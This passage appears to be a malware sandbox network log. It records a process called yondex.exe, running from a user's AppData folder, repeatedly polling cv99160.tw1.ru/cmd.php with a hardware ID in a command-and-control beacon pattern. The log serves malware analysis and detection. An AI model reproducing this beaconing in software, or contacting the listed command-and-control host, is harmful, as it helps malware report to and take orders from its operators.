
Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	49861	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:17 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:34:17 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=78364f0c15bd5c585af0cdcddce922b7; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	49862	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:18 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:34:18 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=07be0d2ace01a51e7e8c8c64085cb53b; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:34:18 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	49863	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:20 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:34:21 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=148962df435ecd7d4e806d65a0caca77; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	49864	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:21 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:34:22 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=63f0ab212bca379ec4e7ddc50177ba1f; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:34:22 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	49865	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:24 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:34:24 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=119687fb8ed39799f405e4cb4b6adb89; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	49866	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:25 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:34:25 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=2a3a1f444c786762b7ebdc0a58c25320; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:34:25 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	49867	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:26 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:34:27 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=cee663817d4543b7e91366c7a47f01f0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	49868	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:27 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:34:28 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=d20ad4ea73d9af2b4db81a9141d2f648; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:34:28 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	49869	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:30 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:34:30 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=e842312572562a43ac595fab0ffa31b0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	49870	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:31 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:34:31 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=4c3346c97ea1ffa92890a8bfaf9aaaf9; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:34:31 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	49871	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:33 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:34:33 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=4d9c4549176287e452d454fdc5e074ff; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	49872	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:34 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:34:34 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=c72cc42470a6f248c7b34324bc283f47; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:34:34 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	49873	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:35 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:34:36 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=bc6eeafc781b36ad3d2598e6f73176e4; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	49874	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:37 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:34:37 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=b804a33d8dac627dc87f9b83cba92e71; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:34:37 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	49875	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:39 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:34:39 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=39f8a823c95e1d6b93f07183d0152294; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	49876	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:40 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:34:40 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=5a8d42da7a32277ea202bfe20cdcefd5; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:34:40 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	49877	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:43 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:34:43 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=1fd1326eb7ab8cee316cb07cc7f21133; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	49878	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:44 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:34:44 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=2dd95ae5d63ba471b99ea578fd807716; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:34:44 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	49879	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:46 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:34:46 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=cddd5234d3acab52460d68e4e4fb4976; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	49880	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:47 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:34:47 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=3f411fab3e652dbd91e8a3d8a78b9df1; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:34:47 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	49881	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:49 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:34:50 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=0b150c9657f82ff7f88a16359cd7892e; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	49882	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:50 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:34:51 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=18449a694dc7f14830eeb24674fe7998; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:34:51 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	49883	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:52 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:34:53 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=6cf43b83120a8178702b6c9bb5750153; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	49884	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:53 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:34:54 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=cdebd5f4d9caed67486800f4d315d0a1; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:34:54 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	49885	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:56 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:34:56 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=559a87f68063b4059cd4f5421e2fb6d7; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	49886	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:57 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:34:57 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=a8a3b3574d823539aba6e00e7b49c1dc; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:34:57 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	49887	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:34:59 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:35:00 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:34:59 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=91cfb540205b297d0cf229fa31102014; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	49888	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:35:00 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:35:01 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:35:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=8d5308b0b5c44783a0588cf09870014f; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:35:01 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	49889	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:35:03 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:35:03 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:35:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=1f3f1a48f4dceca08c62baf8870f24cf; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	49890	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:35:04 UTC	144	OUT	GET /cmd.php?timeout=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru
2024-06-23 09:35:04 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:35:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Set-Cookie: PHPSESSID=c55db86199781635c6a56e68c1c15ba4; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
2024-06-23 09:35:04 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	49891	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 09:35:07 UTC	172	OUT	GET /cmd.php?hwid=B81A4609 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Host: cv99160.tw1.ru Connection: Keep-Alive
2024-06-23 09:35:08 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 23 Jun 2024 09:35:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=ae798cd535c4d6e900f56973a6c42f22; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	49892	92.53.96.121	443	8064	C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe

Timestamp	Bytes transferred	Direction	Data
